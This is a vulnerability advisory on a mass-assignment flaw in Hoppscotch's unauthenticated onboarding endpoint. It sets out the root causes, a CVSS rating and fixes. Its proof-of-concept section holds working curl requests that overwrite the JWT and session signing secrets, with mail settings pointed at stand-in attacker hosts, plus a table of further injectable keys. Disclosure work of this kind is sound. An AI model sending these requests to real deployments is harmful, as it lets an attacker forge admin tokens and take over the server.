




















The POST /v1/onboarding/config endpoint allows an unauthenticated attacker to inject arbitrary InfraConfig keys -- including JWT_SECRET and SESSION_SECRET -- into the database via mass assignment. These keys are not declared in the SaveOnboardingConfigRequest DTO, but because the NestJS ValidationPipe does not strip extra properties, they pass through to the service layer where Object.entries(dto) iterates all keys without restriction.
This results in full server compromise: the attacker controls the JWT signing key and can forge tokens for any user including admin.
The attack works only on fresh installs before onboarding completes (or when usersCount === 0). However, self-hosted Hoppscotch instances are exposed to the internet during initial setup, and the window between deployment and onboarding completion is the exact moment the instance is most vulnerable.
Confirmed with a live proof-of-concept on a fresh Hoppscotch AIO Docker deployment.
packages/hoppscotch-backend/src/main.ts (lines 93--97) -- ValidationPipe configurationpackages/hoppscotch-backend/src/infra-config/infra-config.service.ts (lines 538--553) -- unconstrained key iterationpackages/hoppscotch-backend/src/infra-config/infra-config.service.ts (line 806) -- validateEnvValues switch with default: breakpackages/hoppscotch-backend/src/infra-config/onboarding.controller.ts (line 58) -- unauthenticated endpointpackages/hoppscotch-backend/src/types/InfraConfig.ts (lines 5--6) -- JWT_SECRET and SESSION_SECRET as valid InfraConfigEnum valuesFour independent weaknesses combine to enable this attack:
Weakness 1 -- ValidationPipe missing whitelist: true (main.ts:93--97)
app.useGlobalPipes( new ValidationPipe({ transform: true, // whitelist: true -- MISSING: extra properties are NOT stripped }), );
Without whitelist: true, NestJS copies all properties from the request body to the DTO object, including properties not declared in the SaveOnboardingConfigRequest class. JWT_SECRET, SESSION_SECRET, and other security-critical keys are not DTO fields -- they are extra properties that should be stripped but are not.
Weakness 1 alone is sufficient to block this attack. Weaknesses 2--4 should also be addressed as defense in depth.
Weakness 2 -- Unconstrained Object.entries(dto) (infra-config.service.ts:538--543)
const configEntries: InfraConfigArgs[] = [ ...Object.entries(dto) .filter(([_, value]) => value !== undefined) .map(([key, value]) => ({ name: key as InfraConfigEnum, // TypeScript cast, no runtime validation value, })), ];
The cast key as InfraConfigEnum performs no runtime check. Object.entries(dto) iterates every property on the DTO object, including the extra properties that leaked through from Weakness 1. Since JWT_SECRET is a valid InfraConfigEnum value (defined in types/InfraConfig.ts:5), the attacker-supplied key is treated as a legitimate config entry and written to the database.
Weakness 3 -- validateEnvValues has default: break (infra-config.service.ts:806)
The validateEnvValues method uses a switch statement over InfraConfigEnum values to validate incoming config entries. The default case is:
default: break; // unrecognized keys silently pass validation
JWT_SECRET and SESSION_SECRET do not have explicit validation cases in this switch. They fall through to default: break and pass validation silently, allowing the database write to proceed.
Weakness 4 -- Endpoint publicly accessible without authentication
@Controller({ path: 'onboarding', version: '1' }) @UseGuards(ThrottlerBehindProxyGuard) // rate-limit only, no auth export class OnboardingController { ... }
The endpoint has no auth guard. It is accessible to any unauthenticated request as long as onboarding has not been completed (checked at runtime, gated on usersCount === 0).
JWT_SECRET, SESSION_SECRET, and other security-critical keys are NOT fields in the SaveOnboardingConfigRequest DTO. The DTO declares only the expected onboarding fields (OAuth providers, SMTP settings, etc.). The exploit works because extra keys not in the DTO are not stripped (Weakness 1), are iterated without restriction (Weakness 2), pass validation silently (Weakness 3), and reach an unauthenticated endpoint (Weakness 4).
The attack works when any of these conditions is true:
usersCount === 0 (no users exist in the database)Self-hosted Hoppscotch instances are typically exposed to the internet during initial setup. The window between deployment and onboarding completion is the exact period when the instance is most vulnerable -- and the onboarding endpoint is the first thing an attacker would probe on a newly discovered Hoppscotch instance.
Step 1 -- Check onboarding status (unauthenticated):
curl http://target:3170/v1/onboarding/status
# {"onboardingCompleted":false,"canReRunOnboarding":true}Step 2 -- Send the mass assignment payload with extra keys not in the DTO:
curl -X POST http://target:3170/v1/onboarding/config \ -H "Content-Type: application/json" \ -d '{ "VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL", "MAILER_SMTP_ENABLE": "true", "MAILER_SMTP_URL": "smtp://attacker.com:25", "MAILER_ADDRESS_FROM": "attacker@evil.com", "JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET", "SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION" }' # {"token":"5d63f43c-aeda-473f-bb84-abfdd739a8a5"} -- SUCCESS
Note: VITE_ALLOWED_AUTH_PROVIDERS, MAILER_SMTP_ENABLE, MAILER_SMTP_URL, and MAILER_ADDRESS_FROM are legitimate DTO fields needed to pass the provider validation check. JWT_SECRET and SESSION_SECRET are not DTO fields -- they are injected extra properties.
Step 3 -- Verify JWT_SECRET was overwritten:
psql -c "SELECT name, value FROM InfraConfig WHERE name = 'JWT_SECRET';" # Decrypts to: ATTACKER_CONTROLLED_JWT_SECRET
Tested on: Hoppscotch AIO Docker image (hoppscotch-hoppscotch-aio:latest), fresh deployment.
Before attack -- JWT_SECRET in DB (AES-256-CBC encrypted):
5c3ddd04363604faeb24a09a...:acf5090650be46309af5633d...
After attack -- JWT_SECRET in DB (decrypted):
ATTACKER_CONTROLLED_JWT_SECRET
After attack -- SESSION_SECRET in DB (decrypted):
ATTACKER_CONTROLLED_SESSION
Full server compromise via JWT signing key takeover.
Once the attacker controls JWT_SECRET:
JwtAuthGuard checks since they validate against the attacker-controlled secretSESSION_SECRET invalidates all existing sessions and allows the attacker to forge new onesAdditional keys injectable via the same vector (all are NOT in the DTO but are valid InfraConfigEnum values):
| Key | Impact |
|---|---|
JWT_SECRET |
JWT signing key (demonstrated) |
SESSION_SECRET |
Session signing key (demonstrated) |
SESSION_COOKIE_NAME |
Redirect cookies to attacker-controlled name |
RATE_LIMIT_TTL / RATE_LIMIT_MAX |
Disable rate limiting |
ALLOW_SECURE_COOKIES |
Downgrade cookie security |
TOKEN_SALT_COMPLEXITY |
Weaken password hashing |
GOOGLE_CLIENT_SECRET |
Overwrite Google OAuth app secret |
GITHUB_CLIENT_SECRET |
Overwrite GitHub OAuth app secret |
MICROSOFT_CLIENT_SECRET |
Overwrite Microsoft OAuth app secret |
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score: 10.0 (Critical)
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Publicly accessible endpoint |
| Attack Complexity | Low | Single HTTP request, no special conditions beyond fresh install |
| Privileges Required | None | No authentication required |
| User Interaction | None | Fully attacker-driven |
| Scope | Changed | Affects signing infrastructure across the entire application |
| Confidentiality | High | All data accessible via forged tokens |
| Integrity | High | Full write access to all user resources |
| Availability | None | Session disruption does not materially impact service availability |
Four independent fixes are needed. Fix 1 alone blocks this specific attack. Fixes 2--4 provide defense in depth.
Fix 1 -- Enable whitelist: true on ValidationPipe (main.ts):
app.useGlobalPipes( new ValidationPipe({ transform: true, whitelist: true, // Strip properties not declared in DTO forbidNonWhitelisted: true, // Return 400 for extra properties }), );
Fix 2 -- Validate allowed keys in updateOnboardingConfig (infra-config.service.ts):
const ONBOARDING_ALLOWED_KEYS = new Set([ InfraConfigEnum.VITE_ALLOWED_AUTH_PROVIDERS, InfraConfigEnum.GOOGLE_CLIENT_ID, InfraConfigEnum.GOOGLE_CLIENT_SECRET, // ... OAuth and SMTP fields only -- never JWT_SECRET, SESSION_SECRET, etc. ]); const configEntries = Object.entries(dto) .filter(([key, value]) => value !== undefined && ONBOARDING_ALLOWED_KEYS.has(key as InfraConfigEnum)) .map(([key, value]) => ({ name: key as InfraConfigEnum, value }));
Fix 3 -- Add explicit rejection in validateEnvValues for security-critical keys:
// Instead of default: break, explicitly reject keys that should never be set via onboarding case InfraConfigEnum.JWT_SECRET: case InfraConfigEnum.SESSION_SECRET: throw new Error(`${key} cannot be set via the onboarding endpoint`);
Fix 4 -- Require authentication or a one-time setup token on the onboarding endpoint:
Protect the endpoint with a one-time setup token generated at first boot, similar to patterns used by GitLab, Grafana, and other self-hosted tools.
Kira by Offgrid Security
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。